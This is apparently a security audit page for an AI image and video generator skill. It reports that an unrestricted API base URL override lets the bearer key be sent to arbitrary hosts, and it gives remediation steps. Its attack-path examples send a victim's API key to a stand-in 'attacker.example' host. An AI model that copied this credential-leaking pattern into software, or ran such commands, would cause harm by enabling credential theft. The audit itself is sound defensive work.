Back to skill

Security audit

Yollomi AI Image & Video Generator

Security checks for vulnerabilities and agentic risk

Overview

The skill is a mostly coherent Yollomi image/video generator, but it needs Review because it can send the API key and user prompts or media to an arbitrary configured API host.

Install only if you intend to send generation prompts and supplied image/video references to Yollomi. Do not set YOLLOMI_BASE_URL or pass a custom test endpoint unless you fully trust that host and it uses HTTPS, because the skill will send your API key there. Treat prompts and media as third-party processed data and avoid secrets, private internal URLs, regulated data, or sensitive images unless your policy allows it.

Vulnerability Patterns
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (2)

T09 · Insecure Skill Coding Practices

Warning
Location
index.ts:44
Finding
Bearer Credential Exposure Through Unrestricted API Base URL Override<![CDATA[ ## Vulnerability Details **File Location**: `index.ts:44-64` **Vulnerability Type**: Unrestricted credential destination / sensitive information transmission **Risk Level**: Medium ### Vulnerable Code ```ts export async function generate(params: YollomiGenerateInput): Promise<YollomiGenerateOutput> { const apiKey = requireEnv('YOLLOMI_API_KEY') const baseUrl = process.env.YOLLOMI_BASE_URL || 'https://yollomi.com' if (params.imageUrl && !isHttpUrl(params.imageUrl)) { throw new Error("imageUrl must be an http(s) URL") } const timeoutMs = params.type === 'video' ? 300000 : 120000 const resp = await fetchWithTimeout( `${baseUrl}/api/v1/generate`, { method: 'POST', headers: { Authorization: `Bearer ${apiKey}`, 'Content-Type': 'application/json', }, body: JSON.stringify(params), }, timeoutMs ) ``` ### Technical Analysis Sending `YOLLOMI_API_KEY` to the official Yollomi API is necessary for the declared image and video generation functionality. However, the destination is taken directly from the `YOLLOMI_BASE_URL` environment variable without parsing or validating its protocol, hostname, port, path, or trust status. Consequently, the code will attach the bearer credential to any destination supplied through that variable. It also does not require HTTPS, so the credential and generation request can be sent over plaintext HTTP. The separate validation of `params.imageUrl` does not protect the API endpoint. This exceeds minimum privilege because the Skill only needs to disclose the credential to an approved Yollomi API origin, not to arbitrary environment-controlled hosts. ### Attack Path 1. An attacker, malicious deployment configuration, compromised launcher, or untrusted setup instruction sets: ```bash YOLLOMI_BASE_URL=https://attacker.example ``` Alternatively, a plaintext endpoint such as `http://attacker.example` can be used. 2. A user or agent invokes `yollomi.generate`. 3 ...[truncated 1017 chars]
Remediation
<![CDATA[ ## Remediation Suggestions 1. Remove `YOLLOMI_BASE_URL` support if custom API endpoints are not operationally required. 2. If an override is required, parse it with `new URL()` and enforce: - `https:` only - An explicit allowlist of approved hostnames - Approved ports only - No embedded username or password - No unexpected base path, query, or fragment 3. Construct endpoints with the `URL` API rather than string concatenation. 4. Attach the `Authorization` header only after confirming that the final request URL has an approved origin. 5. Consider rejecting redirects or manually validating every redirect destination, because authorization behavior across redirects should not be relied upon as a security boundary. 6. Document the override as security-sensitive and ensure untrusted users, prompts, and Skill parameters cannot modify it. 7. Rotate the API key if the Skill has previously run with an untrusted base URL. 8. Add tests proving that HTTP URLs, unknown domains, embedded credentials, and malformed origins are rejected. ]]>

T09 · Insecure Skill Coding Practices

Warning
Location
scripts/test-api.sh:5
Finding
Test Script Sends API Credential to an Arbitrary Command-Line or Environment-Controlled Host<![CDATA[ ## Vulnerability Details **File Location**: `scripts/test-api.sh:5-14` **Vulnerability Type**: Unrestricted credential destination / plaintext credential transmission **Risk Level**: Medium ### Vulnerable Code ```bash set -e BASE_URL="${1:-${YOLLOMI_BASE_URL:-https://yollomi.com}}" if [ -z "$YOLLOMI_API_KEY" ]; then echo "Error: YOLLOMI_API_KEY not set" exit 1 fi echo "Testing Yollomi API at $BASE_URL..." RESP=$(curl -s -w "\n%{http_code}" -X POST "$BASE_URL/api/v1/generate" \ -H "Authorization: Bearer $YOLLOMI_API_KEY" \ -H "Content-Type: application/json" \ ``` ### Technical Analysis The test script accepts its API destination from either its first command-line argument or `YOLLOMI_BASE_URL`. It performs no protocol or hostname validation before placing `YOLLOMI_API_KEY` in the `Authorization` header. Quoting prevents ordinary shell command injection through `BASE_URL`, but it does not prevent credential disclosure: `curl` intentionally sends the bearer token to the supplied host. The script also permits plaintext HTTP destinations. Its error branch prints the full response body, which could expose sensitive service diagnostics or attacker-controlled terminal content, although the primary confirmed security issue is forwarding the credential to an unrestricted host. Testing the declared service requires sending the credential only to an approved Yollomi endpoint. Allowing any command-line destination therefore exceeds the minimum privileges required for the script's stated purpose. ### Attack Path 1. An attacker persuades a user to test a purported alternative endpoint: ```bash YOLLOMI_API_KEY=<victim-key> ./scripts/test-api.sh https://attacker.example ``` The attacker could instead influence `YOLLOMI_BASE_URL`. 2. The script appends `/api/v1/generate` to the supplied address. 3. `curl` sends the victim's bearer credential and test request to the attacker-controlled server. 4. The server records the key and can return a ...[truncated 712 chars]
Remediation
<![CDATA[ ## Remediation Suggestions 1. Remove the positional base-URL argument unless testing custom deployments is essential. 2. Default to a fixed, trusted HTTPS origin. 3. If overrides are necessary, validate the URL before invoking `curl`: - Require `https://` - Compare the normalized hostname against an explicit allowlist - Reject embedded credentials, unexpected ports, query strings, and fragments 4. Use `curl --proto '=https'` and consider `--proto-redir '=https'`. 5. Restrict or disable redirects, or validate every redirect origin before allowing credentials to be resent. 6. Avoid printing complete failure bodies by default; truncate and sanitize them consistently. 7. Ensure the script is not run with shell tracing enabled, because tracing can expose authorization headers. 8. Rotate any API key previously sent to an untrusted test URL. ]]>
Vulnerability Patterns
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Trigger AbuseOverly Broad Trigger, Shadow Command Trigger, Keyword Baiting Trigger
  • MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration
  • MCP Tool PoisoningHidden Instructions, Unicode Deception, Parameter Description Injection
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
Findings (12)

Tp4

High
Category
MCP Tool Poisoning
Confidence
95% confidence
Finding
The manifest describes the skill as image generation only, but the content also supports video generation and model enumeration. This mismatch can mislead users and policy systems about what data may be sent off-platform and what actions the skill can perform, undermining informed consent and security review.

Description-Behavior Mismatch

Medium
Confidence
98% confidence
Finding
The manifest context says this is an "AI image generator skill" for generating AI images, implying image-focused scope. However, the README explicitly documents both image and video generation capabilities, including text-to-video and image-to-video, which exceeds the manifest's described behavior.

Missing User Warnings

Medium
Confidence
95% confidence
Finding
The README states that the skill sends generation requests to an external Yollomi API and requires an API key, but it does not warn users that prompts, images, and possibly other metadata may be transmitted to a third-party service. This can lead to unintentional disclosure of sensitive or regulated data, especially because image/video generation prompts often contain private user content.

Vague Triggers

Medium
Confidence
87% confidence
Finding
The phrase 'Ask the agent to generate an image' is overly broad and provides little constraint on when or how the skill should activate. In agent ecosystems, vague invocation guidance can cause over-triggering, accidental routing of unrelated user content to the skill, and unintended transmission of prompts or data to an external service.

Lp3

Medium
Category
MCP Least Privilege
Confidence
91% confidence
Finding
The skill advertises network access, environment-variable use, and shell-style invocation examples, but it does not declare explicit tool scope such as allowed tools or permissions. That weakens least-privilege controls and makes it easier for a host agent to grant broader capabilities than users expect, especially since the skill can transmit API keys and user content to an external service.

Description-Behavior Mismatch

Medium
Confidence
98% confidence
Finding
The manifest description narrows the skill to AI image generation, while the documentation clearly includes video generation. Security decisions and user expectations often depend on the manifest, so understating capabilities increases the chance that more sensitive external processing occurs without proper review.

Missing User Warnings

Medium
Confidence
97% confidence
Finding
The skill does not clearly warn users that prompts, image URLs, and potentially image/video inputs are sent to a third-party API. This is a privacy and data-handling issue because users may unknowingly submit sensitive content or internal URLs to an external provider.

External Transmission

Medium
Category
Data Exfiltration
Content
**Generate image (Flux)**:
```bash
curl -X POST "${YOLLOMI_BASE_URL:-https://yollomi.com}/api/v1/generate" \
  -H "Authorization: Bearer $YOLLOMI_API_KEY" \
  -H "Content-Type: application/json" \
  -d '{"type":"image","modelId":"flux","prompt":"A cat in a hat","aspectRatio":"1:1"}'
Confidence
60% confidence
Finding
Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Missing User Warnings

Medium
Confidence
86% confidence
Finding
The code reads the `YOLLOMI_API_KEY` credential from environment variables and uses it for an outbound API request, but there is no user-facing warning, confirmation, or explanatory comment/docstring near the operation. Under the code-file criteria, access to sensitive environment variables should have some visible disclosure unless clearly documented elsewhere, which is not present in this file.

Missing User Warnings

Medium
Confidence
89% confidence
Finding
This function forwards user-supplied prompts and optional image URLs to an external API without any user-facing disclosure or consent boundary in the code. In an AI generation skill, prompts and referenced images may contain sensitive personal or proprietary data, so silent transmission to a third-party service creates a real privacy and data-handling risk.

Description-Behavior Mismatch

Medium
Confidence
97% confidence
Finding
The skill is described as an AI image generator, but the reference documentation exposes video-generation models and parameters through the same unified API. This mismatch can expand the skill’s effective capability beyond what users, reviewers, or policy controls expect, creating a risk of unauthorized or unreviewed video generation and weakening trust boundaries around the skill.

External Transmission

Medium
Category
Data Exfiltration
Content
fi

echo "Testing Yollomi API at $BASE_URL..."
RESP=$(curl -s -w "\n%{http_code}" -X POST "$BASE_URL/api/v1/generate" \
  -H "Authorization: Bearer $YOLLOMI_API_KEY" \
  -H "Content-Type: application/json" \
  -d '{"type":"image","modelId":"flux","prompt":"A simple test","numOutputs":1}')
Confidence
70% confidence
Finding
Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Static analysis

Detected: suspicious.env_credential_access

Environment variable access combined with network send.

Critical
Code
suspicious.env_credential_access
Location
index.ts:19